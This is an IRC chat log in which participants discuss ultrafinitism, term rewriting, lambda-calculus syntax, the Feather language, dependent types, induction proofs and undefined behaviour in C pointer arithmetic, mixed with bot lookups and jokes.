16:12:16 <alise__> oerjan: i think you have depression :P
16:12:16 <alise__> well
16:12:17 <alise__> or are just /the/ /most/ cynical person there is
16:12:23 <cpressey> Which means non-deterministic rewrite rules :/
16:12:38 <alise__> oerjan: what do you think of ultrafinitism? :D
16:12:38 <alise__> cpressey: no, not really
16:12:45 <alise__> find x (branch A B) -> ...
16:12:50 <alise__> find x (leaf X) -> ...
16:12:52 <alise__> same rewriting thing
16:13:01 <cpressey> Well, not "non deterministic" so much as "ambiguous outside the presence of cases"
16:13:15 <cpressey> I mean, to describe what is a tree
16:13:29 <cpressey> tree -> (leaf X); tree -> (branch A B)
16:14:13 <alise__> if you rewrite App [Expr] | Symbol String | Free String
16:14:13 <alise__> cpressey: easy
16:14:14 <alise__> have it be a predicate
16:14:14 <alise__> App [Symbol "find", Free "X", App [Symbol "leaf", Free "X"]]
16:14:14 <alise__> vs
16:14:14 <alise__> tree (branch A B) -> true
16:14:14 <alise__> tree (leaf X) -> true
16:14:15 <alise__> tree X -> false
16:14:17 <oerjan> alise__: (1) quite possibly. (2) don't really know what it is.
16:14:44 -!- BeholdMyGlory has joined.
16:15:42 <cpressey> alise__: Not so easy; to have predicates would require building a theory of booleans
16:16:06 -!- alise has joined.
16:16:29 <cpressey> Which clearly could be done, and might be done first to make this easier
16:16:32 <alise> oerjan: a crazy, crazy mathematical position: http://www.math.rutgers.edu/~zeilberg/mamarim/mamarimPDF/real.pdf
16:16:43 -!- MigoMipo has joined.
16:16:44 <alise> that everything that cannot exist in this universe - like sufficiently big integers - does not exist
16:16:48 <cpressey> But then, I wonder if I would have to use predicates to prove theorems about my theory of booleans :P
16:16:53 <oerjan> yay
16:17:06 <alise> correspondingly, that "real" analysis is completely bunk
16:17:23 <cpressey> Or at least, that it does not "exist"
16:17:25 <alise> and that godel was wrong because all the impossible proveys are in fact merely meaningless
16:17:40 <alise> well not "wrong" but
16:18:08 <alise> (ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real,
16:18:10 <alise> (ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real,
16:18:11 <alise> oops
16:18:13 <alise> (ii) the traditional real line is a meaningless concept. Instead the real REAL `line', is neither real,
16:18:16 <cpressey> When a mathematican says "exist" they mean something quite specific
16:18:19 <alise> nor a line. It is a discrete necklace! In other words R = hZp, where p is a huge and unknowable
16:18:21 <cpressey> Oh "real" too :)
16:18:30 <alise> (but xed!) prime number, and h is a tiny, but not innitesimal , `mesh size'.
16:18:37 <alise> cpressey: the worst thing is /this guy is a professor/
16:18:48 -!- alise__ has quit (Ping timeout: 252 seconds).
16:19:06 <cpressey> alise: That's bad, but there are worse, much worse, out there. This guy, being a mathematician, is relatively harmless.
16:19:12 <cpressey> Since mathematics is irrelevant.
16:19:16 <cpressey> (Sorry, I couldn't resist)
16:19:37 <alise> :-)
16:19:39 * oerjan beats cpressey with the saucepan of doom ===\__/
16:20:23 * cpressey 's skull goes "BLONG"
16:20:31 <oerjan> alise: planck length anyone?
16:20:32 <alise> ais523: bleh, /you/ implement CPS for that calculus :P
16:20:40 <alise> oerjan: Planck length... OF THE REALS
16:21:29 <cpressey> For all reals R1 and R2 there exists a real R3 where R1 < R2 < R3. And by "exists" I mean "I CAN TOUCH IT"
16:21:41 <cpressey> Damn, scambled the order of those.
16:21:48 <cpressey> *R1 < R3 < R2
16:22:28 <alise> ais523: so, do you know what the bootstrap progam will look like for feather?
16:22:47 <ais523> alise: not yet; I tried to write it in Scheme, but went mad
16:22:48 <cpressey> Also, Kronecker was wrong. God invented the *primes*. The integers I blame on the devil.
16:22:50 <oerjan> well R3 can be taken rational. although you still get problems with the sufficiently big integers.
16:23:05 <alise> ais523: well clearly it must be written in the lambda calculus of continuations!
16:23:05 <oerjan> cpressey: clearly then addition is demonic
16:23:16 <alise> cpressey: Ooh, a number system based entirely on primes? Tell me more
16:23:30 <alise> oerjan: that's the thing though, ultrafinitism means that not even infinite rationals exist
16:23:38 <alise> because you run out of integers to put on either side
16:23:42 <ais523> alise: the problem was an infinite loop in trying to define "atoms", which is the next stage in the bootstrapping
16:23:57 <cpressey> alise: Well they have this remarkable property that, when you multiply them together, you can get any integer you want, so long as it's black.
16:24:01 <alise> ais523: hmm... atoms as in symbols, I presume
16:24:05 <ais523> alise: yes
16:24:13 <ais523> they're basically objects that can be compared to other atoms
16:24:15 <alise> atoms aren't the same thing as symbols :)
16:24:19 <oerjan> ais523: clearly you need renormalization :D
16:24:22 <alise> ais523: easy:
16:24:23 <ais523> alise: atom as in Prolog
16:24:34 <ais523> alise: the issue is making them forward-compatible with actual Feather atoms
16:24:46 <ais523> you can use a fake-object at the start of the bootstrapping, but not later
16:24:58 <alise> symbol : a = (() -> ((b = (b -> bool)), a))
16:25:02 <ais523> also, the next bit is basically impossible to explain because a) I don't know how it works myself, and b) it's complicated anyway
16:25:12 <ais523> alise: doesn't work
16:25:21 <ais523> and the reason it doesn't work is, there's no implementation for the symbol you could use
16:25:35 <alise> That is, symbol is a function taking any old object (), and returning a pair of (a function whose type is (a function taking an object of the type of this function, and returning a boolean)), and another function of the same type as symbol.
16:25:44 <alise> ais523: well, symbols are identified by their name, right?
16:25:49 <alise> no two symbols have the same name
16:25:59 <alise> then make them lists of church numerals
16:26:18 <ais523> yep, you can do that; but how do you return it using that typing?
16:26:44 <cpressey> Return it? What do you think this is, a library book?
16:26:55 * cpressey detonates an atomic symbol
16:26:57 <alise> ais523: well, you don't
16:27:04 <alise> you just implement:
16:27:09 <alise> 'foo -> foo
16:27:15 <alise> because, presumably, your input is a string of characters
16:27:17 <alise> i.e. list of church numerals
16:27:19 <alise> so you have it right ther
16:27:21 <alise> implementing
16:27:26 <alise> sym= : symbol -> symbol -> bool
16:27:57 * alise runs into seeming issue with his LCC definition: typed magic means that, I think, I can't write a parser for LCC a :(
16:28:43 <oerjan> alise: typeclass restriction on a maybe?
16:29:06 <oerjan> (just a wild guess)
16:29:14 <alise> oerjan: hmm?
16:30:07 <oerjan> alise: say when deriving Read instances of things of the form T a, you frequently get the requirement that a also is a Read instance
16:30:21 -!- alise_ has joined.
16:30:25 <oerjan> s/things/types/
16:30:27 <alise_> everything said after (just a wild guess)?
16:30:35 <oerjan> alise: say when deriving Read instances of things of the form T a, you frequently get the requirement that a also is a Read instance
16:31:01 -!- fax has joined.
16:31:49 <alise_> ah.
16:32:17 <alise_> ais523: I'm writing a syntax for the Lambda Calculus of Continuations
16:32:23 <ais523> alise_: this doesn't actually work, but http://pastebin.ca/1830205
16:32:29 <ais523> that's the start of an attempt to implement Feather
16:32:44 <ais523> if you run it, you get an infinite loop, due to the failed attempt to implement everything in terms of everything else
16:32:49 <alise_> it'll provide sugar for the most common case of application
16:32:53 <alise_> so e.g. this is what S will look like:
16:33:11 <alise_> erm, never mind S
16:33:15 <alise_> (haven't written sugar for that yet :D)
16:33:22 <alise_> but, say you want to make a list
16:33:28 -!- alise has quit (Ping timeout: 252 seconds).
16:33:38 <alise_> cons1 := cons 1;
16:33:45 <alise_> erm
16:33:51 <alise_> cons1 := cons 1 nil;
16:33:54 <ais523> I can't even remember the difference between a fakeobject and an object offhand
16:33:55 <alise_> cons2 := cons 2 cons1;
16:33:58 <alise_> ais523: argh
16:33:59 <alise_> shaddup
16:34:01 <alise_> cons1 := cons 1 nil;
16:34:03 <alise_> cons2 := cons 2 cons1;
16:34:09 <alise_> cons3 := cons 3 cons2;
16:34:15 <alise_> k cons3
16:34:26 <alise_> that's k (cons 3 (cons 2 (cons 1 nil)))
16:35:20 <alise_> I think K will be:
16:35:45 <alise_> \x. <- (\y. <- x)
16:36:07 <alise_> <- is bound to the most recent explicit lambda-abstraction's return argument if a name wasn't provided
16:36:09 <alise_> so I think S would be
16:36:38 <alise_> \x. <- \y. <- \z. xz := x z; yz := y z; r := xz yz; <- r
16:37:16 <alise_> ais523: does that seem like a reasonable syntax to you?
16:37:17 <alise_> hmm, I just realised my definition is incorrect, in that continuations shouldn't get continuation arguments themselves
16:37:18 <alise_> ideally, it'd be possible to implement feather in it
16:37:19 <fax> hello!
16:37:31 <alise_> ais523: it lets you do naming quite nicely
16:37:38 <ais523> alise_: vaguely reasonable, yes
16:37:39 <alise_> foo := id (\x. ...);
16:37:39 <ais523> hi fax
16:39:21 <alise_> cwcc := id (\f. r := f <-; <- r)
16:39:26 <fax> have a problem
16:39:35 <alise_> that is the same thing as just (\f. f <-) lol :P
16:39:43 <fax> I need to (today and tommorow) solve some problems
16:40:14 <alise_> ais523: you'd do IO by making the final continuation not in the lambda calculus of continuations, instead in the host, and returning a lazy stream of church numerals
16:40:15 <fax> but what will probably happen is I just sit on the computer doing nothing
16:40:49 <alise_> fax: akrasia! or, well, the case more commonly known as procrastination
16:41:39 <fax> I need to solve lots of ODEs so that I am able to do it quicky and accurately (REALLY USEFUL SKILL!!)
16:42:13 <fax> my foot
16:46:46 -!- alise has joined.
16:46:48 <alise> http://us.metamath.org/mmsolitaire/mms.html
16:46:50 <alise> metamath solitaire
16:47:24 -!- alise_ has quit (Ping timeout: 252 seconds).
16:47:50 <fax> alise have you see sokoban in coq?
16:48:00 <fax> playing the game <=> proving a level has a solution
16:48:02 <alise> that one you wrote?
16:48:07 <fax> I didn't write it
16:48:10 <alise> (i stalked all your blog :P)
16:48:11 <alise> ok
16:48:12 <alise> then no
16:48:38 <oerjan> 04:39:47 <ais523> I'm not convinced that (\x. f x) is the same function
16:48:38 <oerjan> 04:40:04 <ais523> it certainly isn't in a strict lang if determining the value of f has side effects
16:48:48 <oerjan> it's not even true in haskell
16:48:57 <alise> haskell isn't pure though
16:48:59 <alise> cf seq
16:49:11 <fax> and it has the most evil thing of all
16:49:18 <alise> unsafe
16:49:19 <fax> RECURSION!
16:49:21 <alise> Perform
16:49:24 <alise> IO!
16:49:24 <alise> and
16:49:24 <alise> undefined!
16:49:27 <alise> fax: *GENERAL recursion
16:49:30 <oerjan> seq (\x -> undefined x) is different from seq undefined
16:50:07 <oerjan> fax: recursion is not the problem for eta reduction though
16:50:17 <fax> hm?
16:50:35 <oerjan> eta reduction : identifying \x -> f x with f
16:51:11 <fax> oh right I understand
16:51:11 <oerjan> it's consistent with pure lambda calculus, which can do recursion using the y combinator
16:51:21 -!- kar8nga has joined.
16:51:55 <alise> ais523: i have a real live copy of word 2007 here, let's see who was right about it
16:52:11 <ais523> alise: metacontext?
16:52:23 <ais523> as in, who said what to be right or wrong?
16:52:38 <alise> I said it probably isn't so bad, you said it's horrible
16:52:51 * fax needs help
16:53:06 <oerjan> btw there is an evaluation order called superstrict or something, which solves the problem of \x -> f x being f by actually evaluating f inside the lambda :)
16:53:17 <fax> that's sounds scary
16:56:38 <ais523> oerjan: I used that (where legal under the as-if principle) in at least one of my Underload interps
16:56:49 <ais523> for optimisation purposes
16:56:53 -!- zeotrope has joined.
16:56:55 <ais523> hmm, or was it an Underlambda interp?
16:57:42 <alise> flit
16:57:56 <ais523> flit?
16:58:10 <oerjan> `define flit
16:58:21 <ais523> I know what it normally means, but it doesn't seem to make sense in this context
16:58:22 <HackEgo> * a sudden quick movement \ * move along rapidly and lightly; skim or dart; "The hummingbird flitted among the branches" \ * a secret move (to avoid paying debts); "they did a moonlight flit"
16:59:00 <alise> I like Word 2007's equation editor
16:59:04 <fax> ;_;
16:59:07 <oerjan> clearly the second meaning is intended
16:59:24 <fizzie> Like flip but less upside-down; like blit but more fly.
16:59:53 <alise> flit would be a god name for an esolang
17:00:08 <alise> *good
17:03:43 -!- jcp has joined.
17:09:11 <alise> fax: constructivist metamath!
17:09:19 -!- tombom has joined.
17:09:21 -!- tombom has quit (Changing host).
17:09:21 -!- tombom has joined.
17:10:43 <fax> ??
17:11:21 <fax> my proposal is more modest
17:11:23 <alise> fax: imagine metamath, but constructivist
17:11:33 <alise> it would be sweet
17:11:44 <fax> alise, do you want to do this?
17:11:49 <fax> and I mean literally do this
17:11:55 <alise> i think i do
17:12:03 <alise> it would certainly be cool.
17:12:27 <fax> I think so too
17:12:37 <alise> define this though
17:15:52 <Ilari> "filt" would be language with no explicit looping, but data being passed between components?
17:16:15 <alise> flit, not filt :P
17:16:38 <Ilari> Ah.
17:17:21 <oerjan> `define filt
17:17:22 <HackEgo> * La Federazione italiana lavoratori trasporti il sindacato dei lavoratori iscritti alla Cgil che operano nel campo dei trasporti e della viabilit. \ [13]it.wikipedia.org/wiki/Filt \
17:17:45 <oerjan> Molto relevante
17:22:47 <AnMaster> there is also sv:flit
17:22:58 <AnMaster> which I'm not completely sure of how to translate to English
17:23:01 <AnMaster> `translate
17:23:08 <HackEgo> var sl_select, tl_select, web_sl_select, web_tl_select;var ctr, web_ctr, h;var tld = ".com";var sug_lab = "Contribute a better translation";var sug_thk = "Thank you for contributing your translation suggestion to Google Translate.";var sug_exp = "Contribute a better translation:";var dhead = "Dictionary";var dmore = "View
17:23:10 <AnMaster> err
17:23:14 <AnMaster> how does one use it?
17:23:33 <AnMaster> `translate sv en flit
17:23:35 <HackEgo> En flit
17:23:38 <AnMaster> err no
17:23:49 <AnMaster> `translate en flit
17:23:52 <HackEgo> A prolific
17:23:56 <AnMaster> no!
17:24:35 <AnMaster> well google translate gives:
17:24:37 <AnMaster> "noun
17:24:37 <AnMaster> 1. DILIGENCE
17:24:37 <AnMaster> 2. INDUSTRY
17:24:37 <AnMaster> 3. ASSIDUITY
17:24:37 <AnMaster> 4. APPLICATION"
17:24:46 <AnMaster> the second one seems completely wrong
17:24:52 <AnMaster> the third one I have no clue what it means
17:25:00 <AnMaster> the last one also seems suspect
17:25:38 <ais523> oh, I know the concept you mean
17:25:46 <ais523> "industry" has two meanings in English
17:25:50 <AnMaster> oh?
17:26:00 <oerjan> `translate no en flid
17:26:01 <ais523> so all 4 words give much the same meaning
17:26:02 <HackEgo> no one industry
17:26:10 <AnMaster> oerjan, I think I used it wrong
17:26:15 <oerjan> `translatefromto no en flid
17:26:17 <HackEgo> diligence
17:26:25 <ais523> AnMaster: in multiple words, think "tendency to work hard" for the second meaning
17:26:35 <AnMaster> ais523, isn't that the meaning for the first one?
17:26:55 <augur> hey guyses :D
17:27:01 <AnMaster> ais523, and that would be sv:flitig, flit is as google said a noun
17:27:08 <ais523> the more common meaning is a collective noun for all the companies/factories that manufacture things
17:27:18 <AnMaster> ais523, indeed
17:27:30 <ais523> and "tendency to work hard" is a noun, as tendencies are nouns
17:27:49 <alise> fax: yeah i think constructivist metamath would be really awesome
17:27:57 <alise> especially if the proofs were actually in executable form
17:28:06 <oerjan> AnMaster: i think the second one uses a more original meaning of industry
17:30:08 <cpressey> Heh
17:30:19 <cpressey> I thought that was some kind of government slogan
17:30:33 <cpressey> DILIGENCE! INDUSTRY! ASSIDUITY! APPLICATION!
17:30:35 <alise> No One Industry, or Tendency To Work Hard?
17:30:40 <alise> oh :D
17:31:12 <cpressey> Adherence to these principles makes our society strong!
17:31:17 <ais523> anyway, I think I know what sv:flit means
17:31:22 <ais523> first word of Swedish I know!
17:32:15 <oerjan> ais523: from now on, you can choose from a veritable smörgåsbord of them
17:34:03 <alise> fax: it seems to me that for simple constructivist proofs, a list of the theorems/axioms (given standard proofs/values) you use along with their types is the best way of presenting a proof
17:34:18 <cpressey> And will help us solve a large number of ODEs in a short amount of time!
17:34:29 <ais523> cpressey: wait, what?
17:34:43 <ais523> assuming ODE = ordinary differential equation, that makes no sense
17:34:47 <ais523> unless it's some sort of pun I don't getg
17:34:48 <ais523> *get
17:35:04 <oerjan> ais523: i think it's a hint to fax
17:35:09 <alise> along with the type of the resulting composition
17:35:28 <alise> ais523: fax said e had to do a bunch of them a while ago
17:35:35 <ais523> ah
17:35:52 <cpressey> ais523: I was riffing on what fax was saying earlier
17:35:53 <ais523> also, whats with the Agoranese?
17:36:06 <alise> fax: + nested proofs, perhaps that's tc
17:36:07 <oerjan> the nose of agora
17:39:57 <cpressey> Thank you ais523, I am now exactly as confused about feather as I was before.
17:40:08 <ais523> cpressey: so am I
17:40:15 <cpressey> There are fake things in it. I can tell that much.
17:40:21 <alise> Feather is ALL FAKE
17:40:22 <cpressey> For some meaning of "fake"
17:40:26 <ais523> actually, that's an implementation technique
17:40:28 <oerjan> ais523: _clearly_ you need renormalization
17:40:39 <cpressey> Drat, so even the fake stuff is... fake
17:40:42 <ais523> yes
17:40:57 <ais523> well, no, because the details of the implementation are relevant to the actual lang
17:41:00 <alise> fake(fake(X)) -> fake(X)
17:41:03 <ais523> hmm, I may have to leave again, my head's hurting
17:41:21 <alise> exists P. Component(Feather,P) & Fake(Fake(X))
17:41:27 <alise> -> exists P. Component(Feather,P) & Fake(X)
17:41:35 <alise> So yes, there are fake things in Feather.
17:41:40 <alise> Even if they're not actually in it.
17:41:42 <alise> Q.E.D.
17:41:54 <cpressey> OK, so "relevant, but somewhat arbitrary" =/= fake, true
17:42:28 <alise> Fake(Fake(X)) -> Fake(X) is justified because a fake thing is fake. The fact that the thing was already presumed to be fake is irrelevant.
17:42:29 <alise> If a fake fake thing isn't fake, then what?
17:42:48 <oerjan> and how is something fake, true?
17:42:49 <ais523> basically, a fakeobject is something that obeys a subset of the restrictions necessary to be considered an object
17:42:59 <alise> Fakeobjects, although fake, are actually real? So they're legitimate objects? No.
17:43:01 <cpressey> Feather, to me, sounds like a way to fold nondeterminism. For some ill-defined notion of "fold"
17:43:01 <alise> Nothing fake is true, obviously.
17:43:05 <alise> Now go make a logical system where ~~p -> ~p.
17:43:07 <ais523> fakeobject != object
17:43:26 <alise> I must now goify for... 15 minutes? Do that logical system. Nao.
17:43:31 <ais523> cpressey: that's an interesting analogy; and about as close to the truth as anything else about Feather that I've managed to put into words
17:44:07 <oerjan> cpressey: the poker sense
17:46:32 <alise> feather is folding nondeterminism because instead of giving a variable its multiple possible values at once, you give it them later on
17:46:39 <alise> so all previous continuations in some way account for this
17:46:44 <alise> potential nondeterminism
17:46:45 <alise> bye now
17:49:33 <ais523> bye
17:56:27 <cpressey> I'm still trying to wrap my head around the plain ol' logical system. Namely, how to state proofs about the properties of the booleans, without invoking boolean logic.
17:57:32 <cpressey> Like, assume A and B are finite. Then rewriting (and A B) always terminates in one of these normal forms: {true, false}.
17:57:51 <cpressey> *finite and boolean expressions.
17:58:11 <fax> ?
17:58:43 <cpressey> I need to prove that I've implemented "and" correctly! Clearly, such complex functions are not to be trusted without proofs
17:58:52 <fax> :(
17:59:08 <cpressey> (I'm not serious)
17:59:42 <cpressey> But figuring this out might give me insight on how to approach more practical proofs
18:00:19 <fax> cpressey, I don't understand....
18:00:49 <fax> you want to prove that a term with type bool is a boolean?
18:01:34 <cpressey> fax: Ah, see there is where I am in different waters from you and alise. My terms don't have types.
18:02:34 <fax> maybe this is the problem :P
18:07:27 <cpressey> Lack of types shouldn't be a huge barrier.
18:07:45 <cpressey> http://www4.informatik.tu-muenchen.de/~schulz/WORK/e-examples.html
18:08:14 * fax thinks if you don't have a type system you will implement it
18:08:38 <cpressey> which leaves the type system you choose to implement, up to you
18:08:43 -!- jcp has quit (Read error: Connection reset by peer).
18:08:48 <fax> oh well
18:08:51 <cpressey> "type" just means "set of values", anyway.
18:09:59 <cpressey> I'm having more trouble with variables
18:10:23 -!- jcp has joined.
18:11:17 <fax> cpressey, what about variables?
18:18:52 <cpressey> http://dpaste.com/170053/ <-- have cases now, but still need to tackle induction
18:19:28 <cpressey> fax: Well, I'm not sure. If I have variables, types look like predicates. If I don't, they look like nondeterministic/ambiguous rewrite rules.
18:20:30 <cpressey> It probably works out saner with the variables. But I'm finding it easier to do the other way.
18:22:21 <cpressey> The nice thing about this is, if you prove that terms of some form always reduce to some other form, you haven't just proved their type, you've also proved that they're total.
18:22:59 <fax> really??
18:23:19 <fax> if you have a diverging term, can't you just prove it's anything? like a bool or a frog or whatever
18:23:32 <fax> (by baseless induction)
18:24:06 <cpressey> Well, if evaluating (and X Y) always results in a bool when X and Y are finite boolean expressions, then you know (and X Y) always results in *something*, therefore (and X Y) is total
18:24:19 <cpressey> If you have a diverging term, yes.
18:24:36 <cpressey> Hard to prove the type of a diverging term...
18:24:40 <cpressey> At least in this
18:33:27 <cpressey> grr, now i keep reading the word as "boo-lean"
18:33:32 <cpressey> Boo!
18:33:36 * cpressey tilts to the right
18:33:56 <oerjan> frightfullean
18:34:24 <cpressey> So, induction. Yeah. Fun stuff, teaching a computer how to do mathematical induction.
18:34:48 <cpressey> In MI one of your cases relies on the other.
18:34:54 <cpressey> Is it fair to call the base case a lemma?
18:35:03 <alise> of course
18:35:13 <alise> cpressey: an example of how better deptypes are
18:35:13 <alise> induction = recursion
18:35:23 <alise> you prove induction and the function it results in does recursion
18:35:32 <fax> induction is not recursion :P
18:35:57 <cpressey> Types are a crutch
18:35:59 <fax> the elaboration you did is good but "induction = recursion" is nonsense
18:36:57 <cpressey> Awkward to state it as a lemma because it only proves certain cases
18:36:59 <alise> yes i know
18:37:10 <cpressey> Awkward to have cases depend on previous cases too, though
18:37:20 <fax> cpressey, types are not a crutch, types are my wheelchair! I couldn't even move without them!
18:37:41 -!- alise_ has joined.
18:37:47 <cpressey> fax: I was going to say, dependent types are an ambulance :)
18:37:48 <alise_> induction ~ recursion
18:37:49 <alise_> is what i meant
18:38:11 <fax> now that's vauge enough for me not to be able to attack :P
18:38:44 <alise_> cpressey: yes, they take suffering programmers and, after a while, where they undergo a change in their entire philosophy due to a near-death experience, they are converted into happy progammers
18:38:48 <alise_> *programmers
18:39:09 <oerjan> too much dependent types and you'll need an ambulance
18:39:29 <lament> better dependent than delinquent
18:39:33 * alise_ bans oerjan from life
18:39:59 <alise_> also it took me a while to realise that (exists (x:T). a) is a dependent tuple...
18:39:59 <fax> FWIW hardly anyone can actual program with dependent types
18:40:07 <alise_> fax: MY LANGUAGE WILL FIX THAT
18:40:14 <fax> including alise :p
18:40:22 <cpressey> I don't think I can do the base case as a lemma in my system. A case isn't complete. So I think I have to go with cases being able to depend on previous cases
18:40:26 <cpressey> That's not SO bad, is it?
18:40:38 <alise_> fax: why did you use sum rather than exists for the exists symbol btw?
18:41:03 <fax> convention
18:41:08 -!- ais523 has quit (Remote host closed the connection).
18:41:13 <fax> also 'exists' is a proof thing, Sigma is the data version
18:41:14 <alise_> cpressey: forall P:Nat->*, P 0 -> (forall n:Nat, P n -> P (succ n)) -> forall n:Nat, P n
18:41:18 <fax> Prop vs Type
18:41:24 <alise_> fax: why not have it polymorphic on both
18:41:26 -!- alise has quit (Ping timeout: 252 seconds).
18:41:41 <alise_> i guess i'm still seeing proof elimination as an optimisation
18:42:22 <alise_> fax: also is \sum or \sigma more correct? I think \sum since you have \prod for forall
18:42:30 <alise_> although wait, doesn't that mean that \prod is the data version of forall?
18:42:33 <fax> Sigma
18:42:37 <fax> uppercase
18:42:42 <alise_> er right
18:42:48 <alise_> so \Pi is functions and \forall is just for profs
18:42:51 <alise_> *proofs
18:43:07 <alise_> which I think is taking it too far. which is why I think I disagree with separating \Sigma and \exists
18:44:13 <alise_> feel free to tell me i'm stupid tho :P
18:44:30 <alise_> fax: so \Sigma or \exists?
18:44:40 <alise_> erm
18:44:40 <alise_> I mean
18:44:43 <alise_> fax: so \Sigma or \sum?
18:44:54 <alise_> since we also have \Pi or \prod i bet sum
18:45:06 <alise_> as the coincidence is a bit too much to accept
18:45:23 <fax> I don't know what \Sigma or \sum is
18:45:40 <alise_> uh basically \sum is a big \Sigma like you use for sums..
18:45:44 <alise_> same with Pi vs prod
18:45:45 <cpressey> http://dpaste.com/170070/ <-- there's my stab at MI.
18:45:47 <alise_> different unicode chars
18:46:19 <alise_> cpressey: Not confluent! Waah!
18:46:25 * fax thinks "mathematical" induction should be primitive, and the other sort should be called "idiotic wrong induction"
18:46:52 <alise_> wait, what /other/ induction does cpressey have?
18:46:56 <cpressey> alise_: What makes you think it's not confluent? Or are you complaining I haven't proved it such?
18:47:10 <alise_> it... looks sorta nonconfluent :P
18:47:41 <alise_> It pisses me off that I can't do (Foo (x:T). a) syntax myself
18:47:48 <alise_> just (Foo T (\x. a))
18:47:52 <alise_> well
18:47:55 <alise_> I guess
18:48:00 <alise_> Foo_._ would work if you have (x:T)
18:48:01 <myndzi> |
18:48:01 <myndzi> |\
18:48:02 <oerjan> presumably \exists and \forall are sums and products in a suitable category...
18:48:05 <alise_> but (x:T) isn't anything coherent by itself
18:48:08 <alise_> oh wait
18:48:09 <cpressey> I have no idea if "expand at least once on the LHS" and "expand to anything you want that's legal on the RHS" actually works, it only seems to, to me, right now.
18:48:13 <alise_> Foo_(_:_)._
18:48:22 <alise_> oerjan: yes
18:48:23 <alise_> duh
18:48:24 <cpressey> I have to prove properties about my proof system :/
18:48:33 <alise_> and then define Foo_._ ... but that's ambiguous I think
18:48:33 <myndzi> |
18:48:34 <myndzi> /<
18:48:44 <alise_> myndzi: oh god not again
18:49:19 <cpressey> Any mathematicians here know anything about Galois connections?
18:49:20 <Deewiant> Off by one too
18:49:22 <alise_> fax: so data ∃(_:_)._ : (a : Set) → (P : a → Prop) → Set where right?
18:49:28 <alise_> not -> Prop
18:49:30 -!- hiato has joined.
18:49:33 <alise_> because you use exists to do the computable reals
18:49:36 <lament> oh no, off by one error \o/
18:49:36 <myndzi> |
18:49:36 <myndzi> /`\
18:50:06 <alise_> oh wait Foo(_:_)._ isn't acceptable because i need to bind the var and stuff
18:50:52 <hiato> myndzi: plus ten for that
18:50:53 <cpressey> No wait, case 2 doesn't rely on case 1
18:50:55 <cpressey> confused
18:51:02 <oerjan> galois connections rings a bell...
18:51:04 <cpressey> that can't be good
18:51:54 <alise_> cpressey: just come to the dark side.
18:52:13 <cpressey> Uh, I need to prove boolexpr ~> boolean, that implies (not boolexpr) ~> boolean
18:52:38 <alise_> obvious : ∀(P:Prop). Obvious P → P
18:52:50 <alise_> Give me a proof that a certain proof is obvious, and I'll give you the proof!
18:52:54 <alise_> Simple!
18:53:06 <fax> Obvious "P" -> P
18:53:21 <alise_> fax: oh, good point
18:53:26 <alise_> wait, no
18:53:29 <alise_> it'd be more like
18:53:37 <alise_> Obvious (x === x)
18:53:41 <alise_> well forall x that is
18:53:52 <alise_> hmm maybe you're right
18:57:03 <cpressey> It's not confluent in the sense that if you just used these rules in a rewriting system, and rewrote the term "boolexpr", you would generate infinite boolean expressions
18:58:14 <cpressey> But that is what "boolexpr" means (to me) (right now) (and this is loosely connected to Galois connections) and it certainly seems possible to ignore "runaway" cases when you give an explicit derivation.
18:59:25 <cpressey> Maybe those rules should be backwards, though.
18:59:33 <cpressey> true -> boolean, false -> boolean
18:59:57 <alise_> That means true and false are indistinguishable
19:00:13 <alise_> fax: I would use guillemets, though:
19:00:14 <cpressey> In a type system, they are. They're both booleans. I wanted a boolean result, great I have one.
19:00:15 <alise_> obvious : ∀(P:Prop). Obvious «P» → P
19:01:04 <cpressey> The problem comes in that you don't want to rewrite them too early. Oh wait, I control that with the explciit derivation!
19:01:16 <oerjan> i'm not sure infinitely growing expressions is a problem for confluence, provided that at any step you can start reducing back down instead
19:01:22 <oerjan> *are
19:01:46 <alise_> cpressey: a -> b doesn't mean that when you choose to rewrite a it results in b
19:01:50 <alise_> it means that a is /just an alias/ for b
19:02:09 <cpressey> alise_: Not what it means to me
19:02:12 <alise_> fax: I've been thinking about the interaction axiom
19:02:18 <cpressey> Not even sure what "just an alias" is supposed to mean in this context
19:03:19 <alise_> axiom interact : Interaction pre final transform result → (ω:Worldish) → pre ω → (result → transform ω → Φ Worldish (λω₁ → final ω₁))
19:03:24 <alise_> (where capital phi was my dependent tuple)
19:03:25 <alise_> or
19:03:26 <alise_> axiom interact : Interaction pre final transform result → (c:Conditions) → pre c → (result → transform c → Φ Conditions (λc₁ → final c₁)) → (ω:World) → (conditions ω ≡ c) → World
19:03:30 <alise_> both are unacceptable for the same reason
19:03:38 <alise_> i.e., that the previous world/conditions don't become unacceptable
19:03:40 <alise_> to use
19:03:44 <alise_> so I need to eliminate them, somehow
19:09:34 -!- ais523 has joined.
19:09:39 <alise_> "a little-known feature of the C standard: it explicitly states that pointer arithmetic is defined only for pointers belonging to the same memory block (i.e. statically or dynamically allocated array or structure). So when you write (char*)malloc(1) - (char*)malloc(1) you get undefined behavior"
19:09:41 <alise_> ais523: verify?
19:09:49 <alise_> apparently that's how the memory-safe C compiler works
19:10:01 <ais523> alise_: yes, that's correct
19:10:08 <alise_> ha
19:10:29 <ais523> in fact, even comparing with < can cause a crash in some compilers
19:11:15 <ais523> anyway, someone posted something in another channel that made Konversation segfault, apparently
19:11:22 <ais523> I'm not sure whether to shout at them or congratulate them
19:11:46 * hiato chuckles to himself (c2h?)
19:12:35 <alise_> ais523: hmm... this is making me want to write a pure c compiler
19:15:31 <fizzie> That's not such a little-known feature; it was mentioned on this very channel not many days ago. Though coincidentally only.
19:16:33 -!- alise has joined.
19:16:42 <fax> Why does -4^4 = -256 instead of 256? I'm only a high school student, but I know for a fact that -4^4 = 256 and not negative 256.
19:16:43 <alise> Is the typed ski + fix turing-complete?
19:16:55 <fax> http://community.wolframalpha.com/viewtopic.php?f=32&t=6774
19:17:00 <ais523> fax: precedence
19:17:05 <ais523> it's being parsed as -(4^4)
19:18:36 <alise> it was a quote
19:19:12 -!- alise_ has quit (Ping timeout: 252 seconds).
19:20:31 <oerjan> alise: it can do everything you need with church numerals can it not
19:20:44 <oerjan> so all recursive functions
19:20:55 <alise> oerjan: The point is that typed SK isn't turing-complete, presumably (because typed LC is not).
19:21:03 <alise> I'm talking idiotically typed, here
19:21:07 <alise> as in arrow and Base
19:21:19 <ais523> <Safari download page> The world’s best browser. Free download for Mac + PC.
19:21:24 <alise> So is idiotically-typed SKF complete?
19:21:26 <ais523> they don't have a Linux version, though
19:21:32 <alise> ais523: Correct.
19:21:35 <alise> And?
